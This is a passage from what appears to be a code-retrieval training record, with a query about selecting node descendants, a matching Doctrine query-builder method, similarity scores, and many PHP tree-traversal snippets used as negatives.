$this->level_column = ($this->level + 1)\n )\\n\";\n }\n else\n {\n $sql .= \"AND $this->level_column = ($this->level + 1) \\n\";\n }\n }\n \n if ($leaves_only)\n {\n $sql .= \"AND $this->right_column = ($this->left_column + 1) \\n\";\n }\n \n $sql .= \"ORDER BY $this->left_column $direction \\n\";\n \n if ($limit !== FALSE)\n {\n $sql .= \"LIMIT $limit \\n\";\n }\n \n $result = $this->_db->query($sql);\n $this->_objects[$object_id] = $this->factory_set($result);\n }\n return $this->_objects[$object_id];\n }", "public function children($self = FALSE, $direction = 'ASC', $limit = FALSE)\n {\n return $this->descendants($self, $direction, TRUE, FALSE, $limit);\n }", "public function grandChildren()\n {\n return $this->children()->children();\n }", "public function iterateChildren();", "private function computeMaxDepth($node){\n\t\t$children = $node->getElements('DEPENDENCY');\n\t\tif(sizeof($children) == 0){\n\t\t\t$children = $node->getElements('DEPENDENCIES/DEPENDENCY');\n\t\t}\n\t\tif(sizeof($children) == 0){\n\t\t\t$children = $node->getElements('DEPENDENCIES');\n\t\t}\n\t\t$maxDepth = 0;\n\t\tforeach($children as $childNode){\n\t\t\t$childDepth = $this->computeMaxDepth($childNode);\n\t\t\tif($childDepth > $maxDepth){\n\t\t\t\t$maxDepth = $childDepth;\n\t\t\t}\n\t\t}\n\t\treturn 1 + $maxDepth;\n\t}", "public function getChildren() {\n\t\t$children = $this->categoryRepository->findAllChildren($this);\n\t\treturn $children;\n\t}", "public function getChildren() {\n $childNodes = $this->getNode()->getChildren();\n $children = array();\n foreach ($childNodes as $childNode) {\n $child = $childNode->getPage($this->getLang());\n if ($child) {\n $children[] = $child;\n }\n }\n return $children;\n }", "public function getDescendantsCount()\n {\n if (!isset($this->_descendantsCount)) {\n $this->_descendantsCount = $this->_getRepository()->countDescendantsByParent($this->id);\n }\n\n return $this->_descendantsCount;\n }", "public function getChildNodes() {}", "public function children()\n {\n $this->buildTree();\n return $this->childrenInternal();\n }", "public function getChildNodes() {}", "function fetch_children($obj = null){\n\t$parent = ($obj == null) ? get_parent() : $obj;\n\t$id = ($parent->post_parent) ? $parent->post_parent : $parent->ID;\n\n\t// Fetch all child pages of the parent OR siblings:\n\treturn get_pages(\"hierarchical=0&parent=\".$id.\"&child_of=\".$id);\n}", "public function getNumberOfDescendants(BaseObject $node)\n {\n $right = $node->getRightValue();\n $left = $node->getLeftValue();\n $num = ($right - $left - 1) / 2;\n\n return $num;\n }", "public function getChildren($level = 1)\n {\n $result = VDO::meta()->getTableList(\"select wid from webshop_relations where parent = ?\",'Webshop', array($this->wid));\n if(is_null($result))\n {\n return array();\n }\n return array_unique(array_values($result));\n }", "public function walk($elements, $max_depth)\n {\n global $post;\n $args = array_slice(func_get_args(), 2);\n $output = '';\n\n /* invalid parameter */\n if ($max_depth < -1) {\n return $output;\n }\n\n /* Nothing to walk */\n if (empty($elements)) {\n return $output;\n }\n\n /* Set up variables. */\n $top_level_elements = array();\n $children_elements = array();\n $parent_field = $this->db_fields['parent'];\n $child_of = (isset($args[0]['child_of'])) ? (int) $args[0]['child_of'] : 0;\n\n /* Loop elements */\n foreach ((array) $elements as $e) {\n $parent_id = $e->$parent_field;\n if (isset($parent_id)) {\n /* Top level pages. */\n if ($child_of === $parent_id) {\n $top_level_elements[] = $e;\n }\n /* Only display children of the current hierarchy. */\n else if (\n (isset($post->ID) && $parent_id == $post->ID) ||\n (isset($post->post_parent) && $parent_id == $post->post_parent) ||\n (isset($post->ancestors) && in_array($parent_id, (array) $post->ancestors))\n ) {\n $children_elements[$e->$parent_field][] = $e;\n }\n }\n }\n\n /* Define output. */\n foreach ($top_level_elements as $e) {\n $this->display_element($e, $children_elements, $max_depth, 0, $args, $output);\n }\n return $output;\n }", "protected function get_descendents()\n\t{\n\t\t$descendents = array();\n\n\t\tforeach ($this->children as $nid => $child)\n\t\t{\n\t\t\t$descendents[$nid] = $child;\n\t\t\t$descendents += $child->descendents;\n\t\t}\n\n\t\treturn $descendents;\n\t}", "public function get_list_by_page_more_drafts($args)\n\t\t{\n\t\t\t// Set list of posts drafts and published\n\t\t\t$this->set_files();\n\n\t\t\tif($this->files_count > 0)\n\t\t\t\treturn $this->get_list_by($args['page'], $args['amount']);\n\n\t\t\treturn array();\n\t\t}", "public function getChildNodes()\n {\n return array_values($this->getChildNodesById());\n }", "public function getChilds($unpublished = false) {\n\n if ($this->childs === null) {\n $list = new Document\\Listing();\n $list->setUnpublished($unpublished);\n $list->setCondition(\"parentId = ?\", $this->getId());\n $list->setOrderKey(\"index\");\n $list->setOrder(\"asc\");\n $this->childs = $list->load();\n }\n return $this->childs;\n }", "public function childrenElements() {\n\t\treturn $this->hasMany('\\App\\Hierarchy', 'parent_id', 'id');\n\t}", "function &sql_fetch_children( $inQueryString, $rootNode, $idField = \"id\", $parentField = \"parent\") {\n\tsql_connect();\n\tglobal $defaultdb;\n\t$return = $defaultdb->fetch_children($inQueryString,$rootNode,$idField,$parentField);\n\treturn $return;\n}", "function five_get_ancestors(){\n\t\t\n\t\tglobal $wpdb;\n\t\t$result = $wpdb->get_results(\"SELECT ID, post_title, guid FROM $wpdb->posts WHERE post_type = 'page' AND post_parent = 0 AND post_status = 'publish'\");\n\t\treturn $result;\n\t\t}", "function _gatherChildren($nid) {\n\t$return = array();\n\t$node =& $this->_allNodes[$nid];\n\tif (is_array ($this->_allParent[$node->id])) {\n\t\tforeach ($this->_allParent[$node->id] as $nodeZ) {\n\t\t$z =& $this->_allNodes[$nodeZ];\n\t\t// We found a child\n\t\t$this->_nodeArrayizeData($z);\n\t\t// Check for references\n\t\t$this->_makeReferences($z);\n\t\t// Merge with the big array we're returning\n\t\t// The big array being all the data of the children of our parent node\n\t\t$return = $this->_array_kmerge($return,$z->data);\n\t\t}\n\t}\n\treturn $return;\n\t}", "function _syndication_server_taxonomy_get_trees($vid, $parent = 0, $max_depth = NULL) {\n\n $trees = array();\n\n foreach($vid as $k => $id) {\n $trees[$id] = taxonomy_get_tree($id, $parent, $max_depth);\n }\n\n return $trees;\n}", "function children() {\n\t\t$this->load_children();\n\t\treturn $this->_children;\n\t}", "private function get_node_children(midgard_page $node)\n {\n $children = array();\n $mc = midgard_page::new_collector('up', $node->id);\n $mc->set_key_property('name');\n $mc->add_value_property('title');\n $mc->execute(); \n $pages = $mc->list_keys();\n foreach ($pages as $name => $array)\n {\n if (empty($name))\n {\n continue;\n }\n $children[] = array\n (\n 'uri' => \"{$_MIDCOM->context->prefix}{$name}/\", // FIXME: dispatcher::generate_url\n 'title' => $mc->get_subkey($name, 'title'),\n 'mimetype' => 'httpd/unix-directory',\n 'resource' => 'collection',\n );\n }\n \n if ($_MIDCOM->context->page->id == $_MIDCOM->context->host->root)\n {\n // Additional \"special\" URLs\n $children[] = array\n (\n 'uri' => \"{$_MIDCOM->context->prefix}__snippets/\", // FIXME: dispatcher::generate_url\n 'title' => 'Code Snippets',\n 'mimetype' => 'httpd/unix-directory',\n 'resource' => 'collection',\n );\n $children[] = array\n (\n 'uri' => \"{$_MIDCOM->context->prefix}__styles/\", // FIXME: dispatcher::generate_url\n 'title' => 'Style Templates',\n 'mimetype' => 'httpd/unix-directory',\n 'resource' => 'collection',\n );\n }\n\n return $children;\n }", "function ep_post_depth() {\n\tglobal $post;\n\t$depth = 0;\n\t$parents = get_post_ancestors($post);\n\tif ($parents) {\n\t\tforeach ($parents as $one_parent_id) {\n\t\t\t$parent_post = get_post($parent_post);\n\t\t\tif ($parent_post->post_parent) {\n\t\t\t\t$depth++;\n\t\t\t}\n\t\t}\n\t}\n\treturn $depth;\n}", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildrenQuery();", "public function walk($elements, $max_depth, ...$args)\n {\n }", "public function getNodeChildren(string $nodeId, array $opts = [])\n {\n if (empty($nodeId)) {\n throw new \\InvalidArgumentException(\"Missing the required parameter 'nodeId' when calling getNodeChildren\");\n }\n\n $opts = array_merge(['skipCount' => 0,\n 'maxItems' => 100,\n 'orderBy' => '',\n 'where' => '',\n 'relativePath' => '',\n 'includeSource' => '',\n 'include' => [],\n 'fields' => []], $opts);\n $postBody = null;\n $pathParams = [\n 'nodeId' => $nodeId,\n ];\n $queryParams = [\n 'skipCount' => $opts['skipCount'],\n 'maxItems' => $opts['maxItems'],\n 'orderBy' => $opts['orderBy'],\n 'where' => $opts['where'],\n 'relativePath' => $opts['relativePath'],\n 'includeSource' => $opts['includeSource'],\n 'include' => $this->apiClient->buildCollectionParam($opts['include'], 'csv'),\n 'fields' => $this->apiClient->buildCollectionParam($opts['fields'], 'csv'),\n ];\n $headerParams = [];\n $formParams = [];\n $authNames = ['basicAuth'];\n $contentTypes = ['application/json'];\n $accepts = ['application/json'];\n $returnType = NodePaging::class;\n\n return $this->apiClient->callApi(\n '/nodes/{nodeId}/children', 'GET',\n $pathParams, $queryParams, $headerParams, $formParams, $postBody,\n $authNames, $contentTypes, $accepts, $returnType\n );\n }", "function get_children($args = '', $output = \\OBJECT)\n {\n }", "public function getDepthMaximum(): PositiveInteger;", "public function getChildren($node): iterable\n {\n if (!method_exists($node, 'getChildren')) {\n return;\n }\n\n yield from $node->getChildren();\n }", "public function ancestors(): Collection\n {\n $post = $this->wpPost;\n if (!$post->post_parent) {\n return new Collection(); // do not have any ancestors\n }\n\n $ancestor = get_post($post->post_parent);\n $ancestors = [];\n $ancestors[] = $ancestor;\n\n while ($ancestor->post_parent) {\n $ancestor = get_post($ancestor->post_parent);\n array_unshift($ancestors, $ancestor);\n }\n\n $ancestors = array_map(function ($post) {\n return new static($post);\n }, $ancestors);\n\n $ancestors = new Collection($ancestors);\n\n return $this->setAttribute(__METHOD__, $ancestors);\n }", "public function deleteDescendants(BaseObject $node, $peer_method='doSelect')\n {\n $peer_name = get_class($node->getPeer());\n $stub_name = get_class($node);\n\n $c = new Criteria();\n $c1 = $c->getNewCriterion(self::getColumnConstant($stub_name, 'left'), $node->getLeftValue(), Criteria::GREATER_THAN);\n $c2 = $c->getNewCriterion(self::getColumnConstant($stub_name, 'right'), $node->getRightValue(), Criteria::LESS_THAN);\n\n $c1->addAnd($c2);\n\n $c->add($c1);\n $c->add(self::getColumnConstant($stub_name, 'scope'), $node->getScopeIdValue());\n // order the nodes ascending (deletes leafes only in the foreach loop)\n $c->addAscendingOrderByColumn(self::getColumnConstant($stub_name, 'right'));\n\n // Nodes are not directly deleted because we need to maintain adjacency list properties\n $descendants = call_user_func(array($peer_name, $peer_method), $c);\n\n foreach ($descendants as $descendant)\n {\n $descendant->delete();\n }\n }", "public function children()\r\n\t{\r\n\t\treturn $this->children;\r\n\t}", "public function getChildren()\n\t{\n\t\treturn new static($this->getInnerIterator()->getChildren(), $this->excludeMasks);\n\t}", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildren()\n {\n return $this->children;\n }", "public function getChildrenQuery()\n {\n return null;\n }", "public function get_children() {\n\t\treturn $this->children;\n\t}", "public function getChildren()\n\t{\n\t\treturn $this->children;\n\t}", "public function getChildren()\n\t{\n\t\treturn $this->children;\n\t}", "public function getNodeAscendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft <= :lft AND c.rgt >= :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "function opensky_get_searchable_subcollections ($pid) {\n $descendants = opensky_get_subcollections_recursive($pid);\n $tree = array();\n foreach($descendants as $child) {\n if (!opensky_has_subcollections($child)) {\n $tree[] = $child;\n }\n }\n return $tree;\n}", "function theme_haarlem_pages_get_widget_selector(ElggEntity $container, $depth = 0) {\n\n\tif (empty($container) || !elgg_instanceof($container)) {\n\t\treturn false;\n\t}\n\tif ($depth == 0) {\n\t\t$ordered = elgg_get_entities(array(\n\t\t\t'type' => 'object',\n\t\t\t'subtype' => 'page_top',\n\t\t\t'container_guid' => $container->getGUID(),\n\t\t\t'limit' => false,\n\t\t));\n\t} else {\n\t\t$ordered = elgg_get_entities_from_metadata(array(\n\t\t\t'type' => 'object',\n\t\t\t'subtype' => 'page',\n\t\t\t'metadata_name' => 'parent_guid',\n\t\t\t'metadata_value' => $container->getGUID(),\n\t\t\t'limit' => false,\n\t\t));\n\t}\n\n\tif (empty($ordered)) {\n\t\treturn false;\n\t}\n\n\t$result = array();\n\n\tforeach ($ordered as $order => $page) {\n\t\t// add this page\n\t\t$result[$page->getGUID()] = trim(str_repeat('-', $depth) . ' ' . $page->title);\n\t\t// invalidate cache for OOM\n\t\t// @todo find a better way for this\n\t\t_elgg_invalidate_cache_for_entity($page->getGUID());\n\n\t\t// append children\n\t\t$children = theme_haarlem_pages_get_widget_selector($page, $depth + 1);\n\t\tif (!empty($children)) {\n\t\t\t$result += $children;\n\t\t\t\t\n\t\t\tunset($children);\n\t\t}\n\t}\n\n\tunset($ordered);\n\n\treturn $result;\n}", "function DepthLimitedSearch($node, $goal, $depth, $parent){\n if($depth==0){\n if($node==$goal){\n global $solution;\n $solution++;\n Path($goal);\n return;\n }\n else return;\n }\n else if($depth>0){\n global $graph;\n global $mool;\n global $parent_node;\n $g_length = count($graph[$node]);\n\n for($i=0; $i<$g_length; $i++){\n $val = $graph[$node][$i];\n\n if($val==$mool || $val==$parent)\n continue;\n $parent_node[$val] = $node;\n DepthLimitedSearch($val,$goal,$depth-1,$node);\n }\n } \n }", "public function getChildren(): array\n {\n return $this->children->toArray();\n }", "public function getEdges() {\n $res = collect($this->getNodes())->filter(function($node) {\n return $node instanceof AdjacencyNode;\n })->map(function(AdjacencyNode $node) {\n return collect($node->getOutgoingEdges())->filter(function($edge) {\n return $edge instanceof Edge;\n })->unique(function(Edge $edge) {\n return $edge->getChildId();\n });\n })->flatten();\n\n if(!($res instanceof Collection)) {\n $res = collect($res);\n }\n return $res->values();\n }", "public function getChildren() {\n\t\treturn $this->children;\n\t}", "public function getChildren() {\n\t\treturn $this->children;\n\t}", "public function getChildren()\n {\n return $this->_children;\n }", "public function getChildren() \n {\n return $this->children;\n }" ]
[ "0.66310877", "0.63920623", "0.63337016", "0.62532884", "0.6101387", "0.6012299", "0.5908668", "0.5723939", "0.572146", "0.5717808", "0.5685679", "0.5673765", "0.5603057", "0.5578016", "0.5547474", "0.5530859", "0.54630685", "0.5334598", "0.5241115", "0.5240817", "0.5232294", "0.5230299", "0.5230299", "0.5216274", "0.52116424", "0.52034765", "0.51734746", "0.51734746", "0.5151604", "0.51130766", "0.51097727", "0.50934654", "0.50918776", "0.50814414", "0.5079853", "0.5075967", "0.5074021", "0.50700665", "0.5059781", "0.5047964", "0.502861", "0.4999462", "0.49945793", "0.49712917", "0.4953197", "0.4952478", "0.4950214", "0.49294248", "0.4922636", "0.4921887", "0.49214834", "0.49030495", "0.49025178", "0.48958367", "0.48804158", "0.4864781", "0.48601967", "0.48523423", "0.48511192", "0.4849763", "0.4834517", "0.48314598", "0.48269656", "0.48251244", "0.48133942", "0.48041925", "0.47990718", "0.47912142", "0.4790042", "0.47887734", "0.47804973", "0.47444242", "0.47434387", "0.47217858", "0.47135878", "0.47123563", "0.47089705", "0.46981975", "0.46931836", "0.46931836", "0.46931836", "0.46931836", "0.46931836", "0.46931836", "0.46931836", "0.46931836", "0.46921018", "0.46915516", "0.4687956", "0.4687956", "0.4673889", "0.46710455", "0.46683562", "0.46625814", "0.46604335", "0.4650553", "0.46497625", "0.46497625", "0.46334243", "0.4621864" ]
0.6382995
2
Returns the Query Builder to select node descendants.
public function getNodeDescendantsQueryBuilder(NodeInterface $node) { $qb = $this->getNodeTreeQueryBuilder(); $qb->where('c.lft > :lft AND c.rgt < :rgt') ->setParameter('lft', $node->getLeft()) ->setParameter('rgt', $node->getRight()); return $qb; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getNodeTreeQueryBuilder()\n {\n $qb = $this->repository\n ->createQueryBuilder('c')\n ->select('c, p')\n ->leftJoin('c.parent', 'p')\n ->orderBy('c.lft');\n\n return $qb;\n }", "public function descendants($depth=null) {\n $db = $this->getDbConnection();\n $criteria = $this->getDbCriteria();\n $alias = $db->quoteColumnName($this->getTableAlias());\n\n $criteria->mergeWith(array(\n 'condition' => $alias . '.' . $db->quoteColumnName($this->leftAttribute) . '>' . $this->{$this->leftAttribute} .\n ' AND ' . $alias . '.' . $db->quoteColumnName($this->rightAttribute) . '<' . $this->{$this->rightAttribute},\n 'order' => $alias . '.' . $db->quoteColumnName($this->leftAttribute),\n ));\n\n if ($depth !== null)\n $criteria->addCondition($alias . '.' . $db->quoteColumnName($this->levelAttribute) . '<=' . ($this->{$this->levelAttribute} + $depth));\n\n if ($this->hasManyRoots) {\n $criteria->addCondition($alias . '.' . $db->quoteColumnName($this->rootAttribute) . '=' . CDbCriteria::PARAM_PREFIX . CDbCriteria::$paramCount);\n $criteria->params[CDbCriteria::PARAM_PREFIX . CDbCriteria::$paramCount++] = $this->{$this->rootAttribute};\n }\n\n return $this;\n }", "public function getNodeAscendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft <= :lft AND c.rgt >= :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "public function getNodesQueryBuilder($parentId=null)\n {\n // Get class metadata\n $metadata = $this->getClassMetadata();\n\n // Create the query builder\n $queryBuilder = $this->_em->createQueryBuilder();\n\n $queryBuilder\n ->select('node')\n ->from($metadata->name, 'node');\n\n // Get the name of the parent field\n $parentColumn = $metadata->closureTree['parent']['fieldName'];\n\n if (!$parentId) {\n $queryBuilder->where('node.'. $parentColumn .' IS NULL');\n } else {\n $queryBuilder->where('node.'. $parentColumn .' = :parentId')->setParameter('parentId', $parentId);\n }\n\n return $queryBuilder;\n }", "private function getBlockSelectQuery(): QueryBuilder\n {\n $query = $this->connection->createQueryBuilder();\n $query->select('DISTINCT b.*, bt.*')\n ->from('ngbm_block', 'b')\n ->innerJoin(\n 'b',\n 'ngbm_block_translation',\n 'bt',\n $query->expr()->andX(\n $query->expr()->eq('bt.block_id', 'b.id'),\n $query->expr()->eq('bt.status', 'b.status')\n )\n );\n\n return $query;\n }", "public function getQuery() : QueryBuilder\n {\n return $this->query;\n }", "function descendants() {\n\t\t/*\n\t\tget all children of this article\n\t\tfor each child, run the same query..\n\t\t*/\n\t\t$childs = $this->children();\n\t\t$subChilds = array();\n\t\tforeach ($childs as $oneChild) {\n\t\t\t$subChilds = array_merge($subChilds, $oneChild->descendants());\n\t\t}\n\t\t$childs = array_merge($childs, $subChilds);\n\t\tpb_pqp_log_speed(\"article descendants()\");\n\t\treturn $childs;\n\t}", "public function getBuilder()\n {\n $builder = new Query\\Builder($this->getKeys());\n $builder->setVisitors([\n new Visitors\\EqVisitor($builder),\n new Visitors\\NotEqVisitor($builder),\n new Visitors\\GtVisitor($builder),\n new Visitors\\GteVisitor($builder),\n new Visitors\\LtVisitor($builder),\n new Visitors\\LteVisitor($builder),\n new Visitors\\CtVisitor($builder),\n new Visitors\\SwVisitor($builder),\n new Visitors\\EwVisitor($builder),\n new Visitors\\AndVisitor($builder),\n new Visitors\\OrVisitor($builder),\n new Visitors\\NotInVisitor($builder),\n new Visitors\\InVisitor($builder),\n new Visitors\\NullVisitor($builder),\n new Visitors\\NotNullVisitor($builder),\n ]);\n\n return $builder;\n }", "function descendants() {\n\t\t$out = array();\n\t\t$this->get_descendants($out);\n\t\treturn $out;\n\t}", "public function toBase() : QueryBuilder\n {\n return $this->applyScopes()->getQuery();\n }", "public function query() {\n\n // new, more inclusive\n $query = parent::query();\n // Add in book parent child relationships.\n $query->leftJoin('book', 'b', 'n.nid = b.nid');\n $query->addField('b', 'bid', 'book_id');\n $query->leftJoin('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->addField('ml', 'weight', 'book_weight');\n $query->addField('ml', 'mlid', 'mlid');\n $query->addField('ml', 'plid', 'plid');\n $query->orderBy('mlid');\n\n // dpq($query);\n return $query;\n }", "public function build()\n {\n $query = $this->qb;\n if ($this->getWhereExpression()) {\n $query->where($this->getWhereExpression());\n }\n foreach ($this->getWhereParameters() as $key => $param) {\n $query->setParameter($key, $param, is_array($param) ? Connection::PARAM_STR_ARRAY : null);\n }\n\n return $query;\n }", "public function createQueryBuilder ()\r\n {\r\n return new QueryBuilder($this);\r\n }", "public function getCollectionQuery(): Builder;", "public function descendants($depth=null)\n\t{\n\t\t$owner=$this->getOwner();\n\t\t$db=$owner->getDbConnection();\n\t\t$criteria=$owner->getDbCriteria();\n\t\t$alias=$db->quoteColumnName($owner->getTableAlias());\n\n\t\t$criteria->mergeWith(array(\n\t\t\t'condition'=>$alias.'.'.$db->quoteColumnName($this->leftAttribute).'>'.$owner->{$this->leftAttribute}.\n\t\t\t\t' AND '.$alias.'.'.$db->quoteColumnName($this->rightAttribute).'<'.$owner->{$this->rightAttribute},\n\t\t\t'order'=>$alias.'.'.$db->quoteColumnName($this->leftAttribute),\n\t\t));\n\n\t\tif($depth!==null)\n\t\t\t$criteria->addCondition($alias.'.'.$db->quoteColumnName($this->levelAttribute).'<='.($owner->{$this->levelAttribute}+$depth));\n\n\t\tif($this->hasManyRoots)\n\t\t\t$criteria->addCondition($alias.'.'.$db->quoteColumnName($this->rootAttribute).'='.$owner->{$this->rootAttribute});\n\n\t\treturn $owner;\n\t}", "public function query() {\n $query = parent::query();\n // Add in book parent child relationships.\n $query->join('book', 'b', 'n.nid = b.nid');\n $query->addField('b', 'bid', 'book_id');\n $query->join('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->isNotNull('ml.mlid');\n $query->addField('ml', 'weight', 'book_weight');\n return $query;\n }", "public function getDescendants(BaseObject $node, $peer_method = 'doSelect', Criteria $c = null)\n {\n $descendants = array();\n\n if (!$node->isLeaf())\n {\n if(!$c)\n {\n $c = new Criteria();\n }\n $c->addAnd(self::getColumnConstant(get_class($node), 'left'), $node->getLeftValue(), Criteria::GREATER_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'right'), $node->getRightValue(), Criteria::LESS_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'scope'), $node->getScopeIdValue(), Criteria::EQUAL);\n $c->addAscendingOrderByColumn(self::getColumnConstant(get_class($node), 'left'));\n\n $descendants = call_user_func(array(get_class($node->getPeer()), $peer_method), $c);\n }\n\n /*\n * Set node levels to prevent further queries to database\n */\n $prev = array($node->getRightValue());\n $i = 0;\n if (count($descendants))\n {\n $initial_level = $descendants[0]->getLevel() - 1;\n }\n\n foreach ($descendants as $cur)\n {\n // get back to the parent\n while ($cur->getRightValue() > $prev[$i])\n {\n $i--;\n }\n\n $cur->setLevel(++$i + $initial_level);\n $prev[$i] = $cur->getRightValue();\n }\n\n return $descendants;\n }", "public function getQueryBuilder()\n {\n $qb = $this->repository->createQueryBuilder(self::ALIAS);\n\n $qb->leftJoin(self::ALIAS.'.networks', 'networks')\n ->addSelect('COUNT(networks.id) AS networksCount')\n ->groupBy(self::ALIAS.'.id');\n\n return $qb;\n }", "public function createQueryBuilder()\n {\n return new QueryBuilder($this->db);\n }", "public function getChildrenQuery();", "public function getQuery(): Builder;", "public function scopeBreadthFirst(Builder $query): Builder\n {\n return $query->orderBy($this->getDepthName());\n }", "public function createQueryBuilder(): QueryBuilder\n {\n return new QueryBuilder($this->db, [\n 'separator' => \"\\n\"\n ]);\n }", "public function getQueryBuilder()\n {\n if (null === $this->queryBuilder) {\n\n $queryBuilder = $this->generator->list->query_builder;\n\n if ( null !== $this->generator->list->query_builder\n && false !== $this->generator->list->query_builder\n && method_exists($this->getRepository(), $queryBuilder)) {\n $this->queryBuilder = $this->getRepository()->$queryBuilder();\n } else {\n $this->queryBuilder = $this->getRepository()->createQueryBuilder('e');\n }\n\n foreach ($this->sort as $field => $order) {\n $this->queryBuilder->addOrderBy('e.' . $field, $order);\n }\n\n $this->processFilters();\n\n }\n return $this->queryBuilder;\n }", "public function newQuery(): Builder\n {\n return new static($this->connection);\n }", "protected function createQueryBuilder()\n {\n $builder = new QueryBuilder();\n return $builder;\n }", "public function query()\n {\n return new \\Rubberband\\Elastic\\Laravel\\Query\\Builder($this);\n }", "public function queryBuilder();", "public function queryBuilder();", "public function getChildrenQuery()\n {\n return null;\n }", "public function getNodeNotDescendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft < :lft OR c.rgt > :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "public function getDocumentBuilder()\n {\n return Document::query()\n ->where(function($query) {\n return $query->whereRaw($this->getExpandedQuery());\n });\n }", "protected function getTableQuery(): Builder\n {\n return parent::getTableQuery()->withoutDrafts();\n }", "public function getDescendants();", "public function newQueryWithoutScopes(): Builder\n {\n return $this->newModelQuery();\n }", "public function createQueryBuilder()\n {\n return new Query\\QueryBuilder($this);\n }", "public function query()\n\t{\n\t\treturn new Builder(\n\t\t\t$this, $this->getQueryGrammar(), $this->getPostProcessor()\n\t\t);\n\t}", "public function newQuery()\n {\n $builder = new Builder($this->newBaseQueryBuilder());\n\n $builder->setModel($this);\n\n return $builder;\n }", "public function query()\n {\n return new QueryBuilder(\n $this, $this->getQueryGrammar(), $this->getPostProcessor()\n );\n }", "public function query()\n {\n return new QueryBuilder(\n $this, $this->getQueryGrammar(), $this->getPostProcessor()\n );\n }", "public function getNodes():ActiveQuery\n {\n return $this\n ->hasMany(Node::class, ['id' => 'nodeId'])\n ->viaTable(NodeBloc::tableName(), ['blocId' => 'id']);\n }", "public function queryBuilder()\n\t{\n\t\treturn \\ORM::for_table($this->table);\n\t}", "public static function query()\n {\n QueryBuilder::$dataSource = true;\n\n return new QueryBuilder();\n }", "public function getDescendants()\n {\n if (!isset($this->_objects['Descendants'])) {\n $this->_objects['Descendants'] = $this->_getRepository()->fetchDescendantsByParent($this->id);\n }\n\n return $this->_objects['Descendants'];\n }", "public function newQuery() {\n return new Builder($this->connection);\n }", "public function getChildHierarchyQueryBuilder($parentId = null, $withParent = false)\n {\n // Get class metadata\n $metadata = $this->getClassMetadata();\n $treeMetadata = $this->_em->getClassMetadata($metadata->closureTree['treeEntity']);\n\n // Get the column names\n $nodeIdColumn = $metadata->getSingleIdentifierColumnName();\n $ancestorColumn = $treeMetadata->closureTree['ancestor']['fieldName'];\n $descendantColumn = $treeMetadata->closureTree['descendant']['fieldName'];\n\n // Create the query builder\n $queryBuilder = $this->_em->createQueryBuilder();\n\n $queryBuilder\n ->select('node')\n ->from($metadata->name, 'node')\n ->innerJoin($treeMetadata->name, 'tree', 'WITH', 'node.'. $nodeIdColumn .' = tree.'. $descendantColumn)\n ->where('tree.'. $ancestorColumn .' = :ancestor')\n ->setParameter('ancestor', $parentId);\n\n // Check if we should exclude the parent itself\n if (!$withParent) {\n $queryBuilder->andWhere('tree.'. $ancestorColumn .' != tree.'. $descendantColumn);\n }\n\n return $queryBuilder;\n }", "public function subQuery()\n {\n $subQuery = clone $this;\n $subQuery->builderCache = new Query\\BuilderCache();\n\n $subQuery->isSubQuery = true;\n\n return $subQuery;\n }", "protected function query() {\n $query = Database::getConnection('default', $this->sourceConnection)\n ->select('og_ancestry', 'oga');\n // only load JUST the type of nodes we need\n $query->join('node', 'n', 'oga.nid = n.nid AND n.type = :type', array(':type' => $this->sourceType));\n $query->condition('group_nid', 0, '>') // handle 0 values\n ->fields('oga', array('nid', 'group_nid'));\n return $query;\n }", "public function getResultQueryBuilder()\n {\n $qb = clone $this->queryBuilder;\n $this->_addSearch($qb);\n\n return $qb;\n }", "public function descendants($id);", "protected function newBuilder(): Builder\n {\n return $this->builder = $this->game_play->newQuery();\n }", "public function getBuiltQb()\n {\n $qb = clone $this->qb;\n\n $this->setSelectFrom($qb);\n $this->setJoins($qb);\n $this->setWhere($qb);\n $this->setOrderBy($qb);\n $this->setLimit($qb);\n\n return $qb;\n }", "public function newQuery($excludeDeleted = true)\n {\n $builder = new EloquentQueryBuilder($this->newBaseQueryBuilder());\n\n // Once we have the query builders, we will set the model instances so the\n // builder can easily access any information it may need from the model\n // while it is constructing and executing various queries against it.\n $builder->setModel($this)->with($this->with);\n\n if ($excludeDeleted and $this->softDelete) {\n $builder->whereNull($this->getQualifiedDeletedAtColumn());\n }\n\n return $builder;\n }", "public function newQueryBuilder()\n {\n return new Builder($this->config);\n }", "private function allDescendants()\n {\n return isset($this->query['from'][0]['allDescendants']) && $this->query['from'][0]['allDescendants'];\n }", "public function children ($selector = null) { \r\n\t\t\r\n\t\t$l = new XDTNodeList();\r\n\t\t\tforeach ($this as $node) \r\n\t\t\t\tforeach ($node->childNodes as $child) $l->add($child);\r\n\t\t\t\r\n\t\tif (!isset($selector)) return $l;\r\n\t\t\r\n\t\t$this->xml_query = $l;\r\n\t\treturn $this->select($selector, null, XDT::SELECT_FILTER);\r\n\t}", "private function createQueryBuilder(): QueryBuilder\n {\n $queryBuilder = new QueryBuilder();\n $queryBuilder->table(($this->model)::TABLE);\n $this->applyCriteria($queryBuilder);\n $this->applyQueryBuilderUses($queryBuilder);\n return $queryBuilder;\n }", "public function getDescendants(array $columns = ['*']);", "public function qbAll()\n {\n return $this->createQueryBuilder(\"s\");\n }", "public function createQuery() {\n return new XML\\DOM();\n }", "#[ReturnTypeWillChange]\n public function getChildren()\n {\n return new self($this->iterator->getChildren(), $this->excluded);\n }", "protected function defineAllMembershipsQuery()\n {\n return 